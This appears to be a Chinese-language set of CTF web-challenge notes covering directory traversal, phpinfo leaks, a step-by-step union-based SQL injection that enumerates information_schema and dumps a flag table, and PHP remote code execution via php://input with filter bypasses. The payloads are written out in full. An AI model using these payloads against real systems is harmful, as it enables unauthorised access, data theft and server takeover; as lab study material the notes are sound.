Web信息泄露
目录遍历
目录遍历(Directory Traversal)是一种常见的网络安全漏洞,也称为路径遍历或目录穿越。这种漏洞通常出现在Web应用程序中,允许攻击者访问未授权的文件或目录,甚至可以执行恶意代码。
目录遍历漏洞的原理是,攻击者利用应用程序对用户输入的路径或文件名的验证不严谨,在构造请求时通过特殊的路径来访问应用程序之外的文件或目录。攻击者可以利用这个漏洞获取敏感信息、执行恶意代码,甚至可能导致服务器被完全控制。
例如,如果一个应用程序在处理文件下载请求时没有对用户提供的文件名进行充分验证,攻击者可以通过构造恶意的文件路径来下载任意文件,包括系统文件或其他用户文件。具体示例如下:
恶意请求:http://www.example.com/download?file=../../../etc/passwd
正常请求:http://www.example.com/download?file=report.pdf
在第一个恶意请求中,攻击者试图通过相对路径遍历向上两级目录来获取系统中的 /etc/passwd 文件,而不是期望下载的 report.pdf 文件。
在本题中,我们不断地循环点击目录,然后就发现了flag。
PHPinfo
进去之后,我们直接ctrl+f输入flag进行搜索,然后就找到了。
然后看一下什么是phpinfo。
phpinfo() 是 PHP 语言中的一个内置函数,用于显示当前 PHP 解析器的配置信息,包括 PHP 版本、编译选项、已加载的扩展、PHP 配置文件位置等。调用 phpinfo() 函数可以方便地查看当前 PHP 环境的详细信息。该函数通常会在调试和开发过程中使用。
备份文件下载
网站源码
SQL注入
字符型
1、加单引号
此时sql 语句为:select * from table where name=’admin’’,由于加单引号后变成三个单引号,则无法执行,程序会报错;
2、加 ’and 1=1
此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入
还需要通过注释符号将其绕过
因此,构造语句为:select * from table where name =’admin’ and 1=1-- 6可成功执行返回结果正确;
3、加 ’and 1=2-- 6
此时sql语句为:select * from table where name=’admin’ and 1=2 –’ 则会报错
如果满足以上三点,可以判断该url为字符型注入。
服务端的sql语句为:select 列 from 数据库.表 where name='$name'
二、判断select语句中有几列
order by 列名(列名可以为select语句中列的序号,name,age——->1,2),因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果。
$name=1' order by 3 -- ',sql语句为:select * from news where id='1' order by 3 -- '',超过它的列数,报错。继续往小猜。猜到2时可以正常显示,因此字段数量为2
$name=1' order by 2 -- 6
三、判断显示的信息是第几列的信息
一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。通过‘直接闭合前面的select语句,使其前半句查询结果空(除非存在name=’‘的情况),即数据库中不存在该查询数据,然后通过union select 1,2 显示的数字来确定显示的列的位置。
$name=' union select 1,2 -- '
根据查询结果,得到2,后想要查询的信息就放在第二个列处。
四、利用函数来收集数据库信息
查询sql自带的函数来确定当前用户,当前数据库等信息。
数据库函数有以下:
1、用户:user()
2、当前数据库:database()
3、数据库版本:version()
4、@@hostname (用户)
5、@@datadir (数据库在文件的位置)
6、@@version (版本)
7、@@version_compile_OS (操作系统版本)
$name=' union select 1,user() -- ',查询结果为:是root账户
如果为root用户,就可以访问information_schema数据库。
查询数据库类型,$name=' union select 1,version() -- '
由数据库版本可知它是MySQL的一个分支。
查询当前数据库名称,$name=' union select 1,database() -- ',查询结果为:
当前数据库名称为:sqli
五、通过union查询数据库
1、获取所有数据库名称
$name=' union select 1,group_concat(schema_name) from information_schema.schemata -- '
查询结果为:
当前数据库有:
information_schema,mysql,performance_schema,sqli
2、查询数据库中有多少个表
$name=' union select table_schema,count(*) from information_schema.tables -- '
由结果可知information_schema中有161个表
查询数据库information_schema中的所有表名,在后续中需要从里面的表中查询数据,该数据库中有161个表。
$name=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='informatioin_schema' -- '
3、查询指定数据库中的表名
$name=' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' -- '
根据查询结果可知,数据库sqli中有两个表:news、flag
4、查询指定数据库指定表中的列名
此次,通过limit逐个获取列名, limit 0,1,修改limit中第一个数字获取其他列名,如获取第二个列名:limit 1,1。
$name=' union select table_name,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) -- '
查询结果:第一个字段列名为:flag
查询第二个字段没出查询成功,说明此表中只有一个列字段
5、查询指定数据库指定表的列的内容
$name=' union select 1,group_concat(flag) from sqli.flag -- '
摘抄自别人,仅用来自己学习使用。
RCE
php://input,
php://input 是个可以访问请求的原始数据的只读流,可以让服务器读取到post中的php代码然后执行
故我们在post处输入要执行的php代码
分析代码,在url后接?file=php://input
发送到burp,repeater
输入<?php system("ls /")?>
发现flag名字,在/后输入flag的名字<?php system("cat /")?>
过滤cat
使用\
过滤空格
过滤了空格,那就用<来代替空格